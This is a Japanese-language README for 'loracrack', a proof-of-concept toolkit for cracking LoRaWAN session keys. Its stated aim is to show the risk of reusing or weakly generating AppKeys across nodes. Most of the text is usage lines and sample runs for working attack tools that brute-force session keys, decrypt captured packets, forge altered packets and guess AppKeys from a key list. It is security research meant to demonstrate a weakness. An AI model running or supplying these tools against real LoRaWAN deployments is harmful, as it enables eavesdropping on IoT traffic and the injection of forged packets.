
LoRaWANセッションクラッカー - 脆弱または共有されたアプリケーションキーを悪用するためのPoC
Applied RiskのSipke Mellemaによって作成されました
これは、複数のLoRaWANノードで同じAppKeyを使用することの危険性を実証するためのProof-of-Conceptです。
このリポジトリには、キャプチャしたパケットからLoRaWANセッションキーをクラックするためのツールボックスが含まれています。攻撃シナリオでは、AppKeyを知っているがハンドシェイクを見逃した場合、またはAppKeyがランダムではなく推測可能な場合を想定しています。
LoRaハンドシェイクは、セッションキーを生成するために3つの値を使用します:
AppNonce | NetID | DevNonce
AppNonceとNetIDは3バイト、DevNonceは2バイトです。NetIDの一部は既知であるため、残りは57ビットのエントロピーになります。そして、実装上の欠陥により、これはさらに低くなる可能性があります。
make するだけです。Makefile内でopenssl 1.0.* の場所にリンクする必要がある場合があることに注意してください。
./loracrack -k <AppKey in hex> -p <raw_packet in hex>
ハンドシェイク(join-accept)を見逃したがAppKeyが既知の場合にセッションキーをクラックします。クラックはセッションキーを生成し、MICをチェックすることで行われます。
$ ./loracrack -k 88888888888888888888888888888888 -p 400267bd018005000142d9f48c52ea717c57
4899be88e40088c40abc703fa3ba1195 04068f88b9feee5385c67e033d911b4a
オプション引数:
-t スレッド数
-v 詳細出力 (0, 1 または 2)
-m 最大AppNonce
./loracrack_knownpt -k <AppKey in hex> -p <raw_packet in hex> -d <plain_text in hex>
ハンドシェイク(join-accept)を見逃したがAppKeyと平文が既知の場合にセッションキーをクラックします。クラックはFRMPayloadを復号し、平文をチェックすることで行われます。CMACはより多くのAES演算を使用するため、MICをチェックするよりも高速です。
$ ./loracrack_knownpt -k 88888888888888888888888888888888 -p 400267bd018005000142d9f48c52ea717c57 -d 33302e3332
4899be88e40088c40abc703fa3ba1195 04068f88b9feee5385c67e033d911b4a
オプション引数:
-t スレッド数
-v 詳細出力 (0, 1 または 2)
-m 最大AppNonce
./loracrack_decrypt -k <decrypt key in hex> -p <raw_packet in hex>
セッションキーが既知の場合にパケットデータを復号します。
$ ./loracrack_decrypt -k 4899be88e40088c40abc703fa3ba1195 -p 400267bd018005000142d9f48c52ea717c57
30.32
./loracrack_alterpacket -p <raw_packet in hex> -a <AppSKey in hex> -n <NwkSKey in hex> -c <Fctn> -d <new data in hex>
DeviceAddrなどの既存の情報を保持したまま、新しいデータでパケットを変更します。
$ ./loracrack_alterpacket -p 400267bd018005000142d9f48c52ea717c57 -a 4899be88e40088c40abc703fa3ba1195 -n 04068f88b9feee5385c67e033d911b4a -c 5 -d 33302d3332
400267bd018005000142d9f78c521c78573b
./loracrack_genkeys -k <AppKey in hex> -j <join_packet in hex> -a <accept_packet in hex>
ハンドシェイク(joinパケットとacceptパケット)とAppKeyが与えられた場合にセッションキーを生成します。
$ ./loracrack_genkeys -k 88888888888888888888888888888888 -j 0000000000000000002bd61f000ba304000e1ba147157a -a 20adf6e18980952590fc1f7987a6913f35
4e1dcaf4f02fcd2ecbb1cb0d138fc53d 96eb9e13f0a3468ca580707ee688ee19
./loracrack_guessjoin -p <raw_packet in hex> -f <file with AppKeys in hex>
joinパケットのMICをチェックすることで、予測可能なAppKeyが使用されているかどうかを確認します。AppKeyは、16進エンコードされたAppKeyが改行区切りで記述されたファイルから取得されます。
$ ./loracrack_guessjoin -p 0000000000000000002bd61f000ba304002f3b5785cf80 -f guessjoin_genkeys/simplekeys
88888888888888888888888888888888